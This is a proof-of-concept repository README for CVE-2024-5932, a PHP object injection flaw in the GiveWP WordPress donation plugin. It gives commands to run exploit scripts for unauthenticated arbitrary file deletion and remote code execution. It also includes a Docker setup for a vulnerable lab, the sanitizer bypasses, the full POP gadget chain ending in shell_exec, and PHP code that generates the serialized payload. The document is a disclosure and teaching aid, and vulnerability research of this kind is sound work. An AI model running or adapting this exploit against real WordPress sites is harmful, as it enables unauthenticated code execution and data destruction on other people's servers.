This post is a research article published by EQSTLab.

❗❗ IMPORTANT ❗❗

There are currently fake PoC github repositories running xmrig. Check out the link below for more information:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 Arbitrary File deletion and RCE PoC ★

2024-08-27.11.18.39.mp4

Timeline

Aug 25 : CVE-2024-5932 File Deletion PoC Uploaded

Aug 26 : We have successfully executed arbitrary commands using CVE-2024-5932, but are considering disclosure due to the impact.

Aug 27 : We found a detailed analysis of the PoC in a post by Julien Ahrens of RCE Security and decided to publish our RCE PoC. We uploaded an additional RCE PoC as CVE-2024-5932-rce.py.

Description

CVE-2024-5932 : GiveWP PHP Object Injection vulnerability description: The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.

How to use

Git clone

git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Install packages

pip install -r requirements.txt

Command

# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Example

python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Output

CVE-2024-5932.py

CVE-2024-5932-rce.py

Result

Vulnerable Environment

1. docker-compose.yml

services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Then download vulnerable GiveWP plugin:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Unzip the GiveWP plugin zip file and copy the entire file to the “/var/www/html/wp-content/plugins” directory.

docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Activate the GiveWP plugin

5. Add new post with GiveWP plugin and copy the post link

6. Check the vulnerable link

(Option) Setup the target file in the docker environment

First, access the wordpress shell with the following command:

docker exec -it -u root docker-wordpress-1 /bin/bash

If the file is owned by root, it may not be deleted due to permissions. Therefore, you need to change the ownership of the test file with the following command:

touch test && chown www-data test

Debugging thru PHPSTORM

You can debug your GiveWP using PHPSTORM.

1. Download the xdebug in your wordpress(Docker):

pecl install xdebug

2. And then setup wordpress's php.ini file like(Docker):

[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..And then you can debug your wordpress.

3. Setup PHPSTORM like(Local):

4. PHPSTORM example (e.g. TCPDF arbitrary file deletion)

Analysis

Vulnerable point (includes/payments/class-give-payment.php)

At this point, get_meta() function unserializes the previously saved "give_title" value.

switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Bypass technique

strip_tags: replace nullbytes -> using \0

stripslashes_deep: replace backslashes -> using \\\\

POP chaining for RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Return command string)

call_user_func('shell_exec', 'command')

PoC.php

<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Attack Scenario

RCE thru POP Chain

POP Chain allows remote command execution.

Arbitrary File deletion

Using TCPDF, you can exploit the arbitrary file deletion.

Disclaimer

This repository is not intended to be Object injection exploit to CVE-2024-5932. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.

EQST Insight

We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications. https://www.skshieldus.com/eng/business/insight.do

Reference

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/